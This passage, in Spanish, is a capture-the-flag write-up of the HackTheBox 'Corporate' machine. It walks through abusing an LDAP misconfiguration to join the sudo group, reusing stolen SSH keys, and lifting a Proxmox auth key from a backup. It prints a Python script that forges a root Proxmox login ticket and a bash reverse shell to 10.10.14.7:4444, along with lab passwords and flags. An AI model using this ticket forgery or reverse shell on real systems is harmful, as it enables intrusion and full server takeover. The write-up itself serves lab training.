$ ssh brody.wiza@10.9.0.4 brody.wiza@10.9.0.4's password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 20 Dec 22:27:13 UTC 2023 System load: 0.0 Processes: 111 Usage of /: 66.4% of 6.06GB Users logged in: 0 Memory usage: 17% IPv4 address for docker0: 172.17.0.1 Swap usage: 0% IPv4 address for ens18: 10.9.0.4 Expanded Security Maintenance for Applications is not enabled. 10 updates can be applied immediately. 8 of these updates are standard security updates. To see these additional updates run: apt list --upgradable Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Wed Apr 12 20:04:04 2023 from 10.9.0.1 brody.wiza@corporate-workstation-04:~$ id uid=5068(brody.wiza) gid=5068(brody.wiza) groups=5068(brody.wiza),504(consultant) |
Obteniendo la flag de user
Una vez dentro revisamos la home del usuario y vemos la flag
|
1 2 3 4 5 |
brody.wiza@corporate-workstation-04:~$ ls -l total 4 -rw-r--r-- 79 root sysadmin 33 Dec 20 21:43 user.txt brody.wiza@corporate-workstation-04:~$ cat user.txt 04f94d813d4be123584df315faed0eda |
Escalado de privilegios en la máquina virtual
Viendo la IP de la máquina a la cual nos conectamos podemos deducir de forma rápida que no es la máquina principal, así que vamos a ver posibles formas de elevar privilegios dentro de la máquina actual.
Revisamos a fondo la máquina y encontramos el dominio del ldap en el fichero hosts
|
1 2 3 4 5 |
brody.wiza@corporate-workstation-04:~$ cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 corporate-workstation-04 10.9.0.1 ldap.corporate.htb corporate.htb |
Así que lanzamos una primera consulta contra el servidor ldap
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
$ ldapsearch -H ldap://ldap.corporate.htb/ -x -s base -b '' "(objectClass=*)" "*" + # extended LDIF # # LDAPv3 # base <> with scope baseObject # filter: (objectClass=*) # requesting: * + # # dn: objectClass: top objectClass: OpenLDAProotDSE structuralObjectClass: OpenLDAProotDSE configContext: cn=config namingContexts: dc=corporate,dc=htb supportedControl: 2.16.840.1.113730.3.4.18 supportedControl: 2.16.840.1.113730.3.4.2 supportedControl: 1.3.6.1.4.1.4203.1.10.1 supportedControl: 1.3.6.1.1.22 supportedControl: 1.2.840.113556.1.4.319 supportedControl: 1.2.826.0.1.3344810.2.3 supportedControl: 1.3.6.1.1.13.2 supportedControl: 1.3.6.1.1.13.1 supportedControl: 1.3.6.1.1.12 supportedExtension: 1.3.6.1.4.1.1466.20037 supportedExtension: 1.3.6.1.4.1.4203.1.11.1 supportedExtension: 1.3.6.1.4.1.4203.1.11.3 supportedExtension: 1.3.6.1.1.8 supportedFeatures: 1.3.6.1.1.14 supportedFeatures: 1.3.6.1.4.1.4203.1.5.1 supportedFeatures: 1.3.6.1.4.1.4203.1.5.2 supportedFeatures: 1.3.6.1.4.1.4203.1.5.3 supportedFeatures: 1.3.6.1.4.1.4203.1.5.4 supportedFeatures: 1.3.6.1.4.1.4203.1.5.5 supportedLDAPVersion: 3 entryDN: subschemaSubentry: cn=Subschema # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1 |
Tratamos de llevar a cabo una enumeración completa de usuarios
|
1 |
$ ldapsearch -x -H ldap://ldap.corporate.htb -w 'CorporateStarter04041987' -D 'uid=elwin.jones,ou=Users,dc=corporate,dc=htb' -b 'ou=Users,dc=corporate,dc=htb' | tee -a ldapusers.log |
Y entre los mismos vemos dos que pertenecen al grupo sysadmin
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 |
# amie.torphy, Users, corporate.htb dn: uid=amie.torphy,ou=Users,dc=corporate,dc=htb uid: amie.torphy uidNumber: 5015 gidNumber: 5015 objectClass: top objectClass: person objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount objectClass: corpPerson cn: Amie Torphy givenName: Amie sn: Torphy mail: amie.torphy@corporate.htb shadowMin: 0 shadowMax: 99999 shadowWarning: 14 shadowInactive: 3 loginShell: /bin/bash homeDirectory: /home/guests/amie.torphy labeledURI: ldap:///ou=Groups,dc=corporate,dc=htb??sub?(&(objectclass=posixgro up)(memberuid=amie.torphy)) corpMemberOf: cn=sysadmin,ou=Groups,dc=corporate,dc=htb corpMemberOf: cn=it,ou=Groups,dc=corporate,dc=htb ... # stevie.rosenbaum, Users, corporate.htb dn: uid=stevie.rosenbaum,ou=Users,dc=corporate,dc=htb uid: stevie.rosenbaum uidNumber: 5007 gidNumber: 5007 objectClass: top objectClass: person objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount objectClass: corpPerson cn: Stevie Rosenbaum givenName: Stevie sn: Rosenbaum mail: stevie.rosenbaum@corporate.htb shadowMin: 0 shadowMax: 99999 shadowWarning: 14 shadowInactive: 3 loginShell: /bin/bash homeDirectory: /home/guests/stevie.rosenbaum labeledURI: ldap:///ou=Groups,dc=corporate,dc=htb??sub?(&(objectclass=posixgro up)(memberuid=stevie.rosenbaum)) corpMemberOf: cn=sysadmin,ou=Groups,dc=corporate,dc=htb corpMemberOf: cn=it,ou=Groups,dc=corporate,dc=htb |
Por lo que vamos a necesitar una forma de poder acceder a ese grupo o suplantar a uno de esos usuarios.
Revisando el ldap vemos que hay un fallo en la configuración del servicio y es que podemos añadir un usuario a un grupo existente en el sistema, por lo que vamos a añadir al usuario al grupo sudo local de la máquina.
Revisamos en primer lugar el id del grupo sudo
|
1 2 |
elwin.jones@corporate-workstation-04:~$ cat /etc/group|grep sudo sudo:x:27: |
Creamos un fichero ldif con la configuración necesaria
|
1 2 3 4 |
dn: uid=elwin.jones,ou=Users,dc=corporate,dc=htb changetype: modify replace: gidNumber gidNumber: 27 |
Y ejecutamos
|
1 2 |
$ ldapmodify -x -H ldap://ldap.corporate.htb -D 'uid=elwin.jones,ou=Users,dc=corporate,dc=htb' -w 'CorporateStarter04041987' -f add2group.ldif modifying entry "uid=elwin.jones,ou=Users,dc=corporate,dc=htb" |
Parece que ha salido correctamente, pero para verificarlo, accedemos con el usuario y revisamos los permisos y efectivamente estamos dentro del grupo sudo
|
1 2 3 4 5 6 7 8 9 10 |
elwin.jones@corporate-workstation-04:~$ id uid=5021(elwin.jones) gid=27(sudo) groups=27(sudo),503(it) elwin.jones@corporate-workstation-04:~$ sudo -l [sudo] password for elwin.jones: Matching Defaults entries for elwin.jones on corporate-workstation-04: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User elwin.jones may run the following commands on corporate-workstation-04: (ALL : ALL) ALL |
Así que escalamos a root
|
1 2 3 4 5 |
elwin.jones@corporate-workstation-04:~$ sudo su - [sudo] password for elwin.jones: root@corporate-workstation-04:~# id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo credenciales como sysadmin
Una vez somos root en la workstation podmeos acceder con uno de los usuarios sysadmin
|
1 2 |
root@corporate-workstation-04:~# su - stevie.rosenbaum stevie.rosenbaum@corporate-workstation-04:~$ |
Y al revisar las claves ssh
|
1 2 3 4 5 6 7 8 9 |
stevie.rosenbaum@corporate-workstation-04:~$ ls -la .ssh total 28 drwx------ 2 stevie.rosenbaum stevie.rosenbaum 4096 Apr 13 2023 . drwxr-x--- 5 stevie.rosenbaum stevie.rosenbaum 4096 Nov 27 19:54 .. -rw------- 1 stevie.rosenbaum stevie.rosenbaum 61 Apr 13 2023 config -rw------- 1 stevie.rosenbaum stevie.rosenbaum 2635 Apr 13 2023 id_rsa -rw-r--r-- 1 stevie.rosenbaum stevie.rosenbaum 591 Apr 13 2023 id_rsa.pub -rw------- 1 stevie.rosenbaum stevie.rosenbaum 364 Apr 13 2023 known_hosts -rw-r--r-- 1 stevie.rosenbaum stevie.rosenbaum 142 Apr 13 2023 known_hosts.old |
Vemos que tiene las claves del usuario sysadmin en el host
|
1 2 3 4 |
stevie.rosenbaum@corporate-workstation-04:~/.ssh$ cat config Host mainserver HostName corporate.htb User sysadmin |
Por lo que las utilizamos para acceder
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
stevie.rosenbaum@corporate-workstation-04:~/.ssh$ ssh mainserver Linux corporate 5.15.131-1-pve #1 SMP PVE 5.15.131-2 (2023-11-14T11:32Z) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Nov 29 14:43:11 2023 from 10.8.0.2 sysadmin@corporate:~$ id uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin) sysadmin@corporate:~$ hostname corporate |
Escalado a root
Ya estamos dentro de la máquina principal, aunque ahora necesitamos encontrar una forma de escalar a root.
Revisamos los binarios con suid y vemos varios de proxmox en el servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
sysadmin@corporate:~$ find / -perm -4000 2>/dev/null /opt/google/chrome/chrome-sandbox /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/openssh/ssh-keysign /usr/bin/su /usr/bin/chfn /usr/bin/procmail /usr/bin/umount /usr/bin/gpasswd /usr/bin/chsh /usr/bin/newuidmap /usr/bin/fusermount /usr/bin/proxmox-mail-forward /usr/bin/sudo /usr/bin/newgidmap /usr/bin/newgrp /usr/bin/passwd /usr/bin/mount /usr/sbin/mount.cifs /usr/sbin/mount.nfs |
Y si revisamos los puntos de montaje vemos una partición dedicada a proxmox
|
1 2 3 4 5 6 7 8 9 |
sysadmin@corporate:/$ df -h Filesystem Size Used Avail Use% Mounted on udev 1.9G 0 1.9G 0% /dev tmpfs 388M 988K 387M 1% /run /dev/mapper/pve-root 11G 7.7G 2.2G 79% / tmpfs 1.9G 43M 1.9G 3% /dev/shm tmpfs 5.0M 0 5.0M 0% /run/lock /dev/fuse 128M 24K 128M 1% /etc/pve tmpfs 388M 0 388M 0% /run/user/1000 |
Buscamos en google posibles vulnerabilidades y encontramos una página donde refleja varias de ellas
https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve–proxmox-mail-gateway/
Vemos en la misma también un script para escalar privilegios gracias a la obtención de una clave de autenticación en un backup existente de la plataforma así que buscamos en la máquina y encontramos un backup
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
sysadmin@corporate:/var/backups$ ls -l total 62520 -rw-r--r-- 1 root root 51200 Apr 9 2023 alternatives.tar.0 -rw-r--r-- 1 root root 6302 Nov 27 19:55 apt.extended_states.0 -rw-r--r-- 1 root root 782 Apr 12 2023 apt.extended_states.1.gz -rw-r--r-- 1 root root 766 Apr 8 2023 apt.extended_states.2.gz -rw-r--r-- 1 root root 256 Apr 8 2023 apt.extended_states.3.gz -rw-r--r-- 1 root root 0 Apr 16 2023 dpkg.arch.0 -rw-r--r-- 1 root root 32 Apr 15 2023 dpkg.arch.1.gz -rw-r--r-- 1 root root 32 Apr 9 2023 dpkg.arch.2.gz -rw-r--r-- 1 root root 261 Apr 7 2023 dpkg.diversions.0 -rw-r--r-- 1 root root 160 Apr 7 2023 dpkg.diversions.1.gz -rw-r--r-- 1 root root 160 Apr 7 2023 dpkg.diversions.2.gz -rw-r--r-- 1 root root 332 Apr 7 2023 dpkg.statoverride.0 -rw-r--r-- 1 root root 209 Apr 7 2023 dpkg.statoverride.1.gz -rw-r--r-- 1 root root 209 Apr 7 2023 dpkg.statoverride.2.gz -rw-r--r-- 1 root root 701161 Apr 15 2023 dpkg.status.0 -rw-r--r-- 1 root root 186927 Apr 12 2023 dpkg.status.1.gz -rw-r--r-- 1 root root 186448 Apr 8 2023 dpkg.status.2.gz -rw-r--r-- 1 root root 62739772 Apr 15 2023 proxmox_backup_corporate_2023-04-15.15.36.28.tar.gz -rw-r--r-- 1 root root 76871 Apr 15 2023 pve-host-2023_04_15-16_09_46.tar.gz drwx------ 3 root root 4096 Apr 7 2023 slapd-2.4.57+dfsg-3+deb11u1 drwxr-xr-x 2 root root 4096 Apr 7 2023 unknown-2.4.57+dfsg-3+deb11u1-20230407-203136.ldapdb |
Y dentro del mismo la clave de autenticación necesaria para llevar a cabo el ataque
|
1 2 3 4 5 6 7 8 9 10 |
sysadmin@corporate:/var/backups$ tar tvf pve-host-2023_04_15-16_09_46.tar.gz |grep key tar: Removing leading `/' from member names -rw-r----- root/www-data 1679 2023-04-07 20:25 /etc/pve/pve-www.key -rw-r----- root/www-data 451 2023-04-14 17:15 /etc/pve/authkey.pub -rw------- root/www-data 395 2023-04-14 15:51 /etc/pve/priv/authorized_keys -rw------- root/www-data 1675 2023-04-14 17:15 /etc/pve/priv/authkey.key -rw------- root/www-data 3243 2023-04-07 20:25 /etc/pve/priv/pve-root-ca.key -rw-r----- root/www-data 1675 2023-04-12 17:15 /etc/pve/nodes/corporate/pve-ssl.key -rw-r----- root/www-data 1679 2023-04-07 20:25 /etc/pve/nodes/proxmox/pve-ssl.key -rw-r----- root/www-data 451 2023-04-14 17:15 /etc/pve/authkey.pub.old |
Así que descargamos el backup para extraer la clave y creamos un script con parte del código de explotación que vimos en la anterior web quedandonos lo siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
import subprocess import base64 import logging import time import tempfile import os import sys def generate_ticket(authkey_bytes, username='root@pam', time_offset=-30): timestamp = hex(int(time.time()) + time_offset)[2:].upper() plaintext = f'PVE:{username}:{timestamp}' # Temporary file for auth key authkey_path = tempfile.NamedTemporaryFile(delete=False) logging.info(f'Writing authkey to {authkey_path.name}') authkey_path.write(authkey_bytes) authkey_path.close() # Temporary file for plaintext txt_path = tempfile.NamedTemporaryFile(delete=False) logging.info(f'Writing plaintext to {txt_path.name}') txt_path.write(plaintext.encode('utf-8')) txt_path.close() logging.info('Calling openssl to sign') sig = subprocess.check_output(['openssl', 'dgst', '-sha1', '-sign', authkey_path.name, '-out', '-', txt_path.name]) sig = base64.b64encode(sig).decode('latin-1') ret = f'{plaintext}::{sig}' logging.info(f'Generated ticket for {username}: {ret}') # Clean up temporary files os.remove(authkey_path.name) os.remove(txt_path.name) return ret # init logging logging.basicConfig(level=logging.INFO) # Read the auth key from the file authkey_path = sys.argv[1] with open(authkey_path, 'rb') as key_file: authkey_bytes = key_file.read() # Generate the ticket ticket = generate_ticket(authkey_bytes) print("Generated Ticket:", ticket) |
Ejecutamos el script y tenemos nuestro ticket
|
1 2 3 4 5 6 |
$ python3 proxmox-cookie.py ../data/host/etc/pve/priv/authkey.key INFO:root:Writing authkey to /tmp/tmp29h8ivnm INFO:root:Writing plaintext to /tmp/tmpuuy8t5ga INFO:root:Calling openssl to sign INFO:root:Generated ticket for root@pam: PVE:root@pam:65860129::gnYBq2PxDlZh1meDm3L1hcbe94xqzdscpZ+WSsIAHapoCmMc4/DfoA3idrmDNJD+sQl9J65i0v5WmUAlGjC+M1G8oCEkEttA/rj+swYabUUPEgdguozR/Fa54saY7l85K6heVzhGXTon/RZImmeZ9nRpdtH0wuoeAfNaBmyYgoqRyZYhiN9gEzf0ekWa3iM3hgz/qR+EMGyz5I0ivEPGfIuief6wUPxy1EVw14KeOwv8ePM4gRCO0JvAoKOov3kdLlj8bxVJjPKhqGf76OI+a0srA5JRL7LZtgPzNmWS4ADKeCf1eY5ojZLdpFsNUn7AXCrkRCqu3Z5Byh3VrZ7Rhg== Generated Ticket: PVE:root@pam:65860129::gnYBq2PxDlZh1meDm3L1hcbe94xqzdscpZ+WSsIAHapoCmMc4/DfoA3idrmDNJD+sQl9J65i0v5WmUAlGjC+M1G8oCEkEttA/rj+swYabUUPEgdguozR/Fa54saY7l85K6heVzhGXTon/RZImmeZ9nRpdtH0wuoeAfNaBmyYgoqRyZYhiN9gEzf0ekWa3iM3hgz/qR+EMGyz5I0ivEPGfIuief6wUPxy1EVw14KeOwv8ePM4gRCO0JvAoKOov3kdLlj8bxVJjPKhqGf76OI+a0srA5JRL7LZtgPzNmWS4ADKeCf1eY5ojZLdpFsNUn7AXCrkRCqu3Z5Byh3VrZ7Rhg== |
Ahora accedemos al portal web en el puerto 8006 y añadiremos el ticket en la cookie PVEAuthCookie, recargamos la página y veremos el siguiente dashboard

Navegamos por las máquinas existentes y vemos que podemos obtener una shell directamente como root en la máquina corporate

Por tener un mejor acceso nos mandamos una revshell ejecutando el comando
|
1 |
/bin/bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 |
Y tenemos una shell como root
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.7] from (UNKNOWN) [10.10.11.246] 35200 root@corporate:~# whoami whoami root root@corporate:~# id id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Siendo ya root en el servidor vamos a por nuestra ansiada flag para dar por completada la máquina
|
1 2 3 4 |
root@corporate:~# cat /root/root.txt cat /root/root.txt 7f09d6fbc30c14b0fba7430f8a68edd5 root@corporate:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










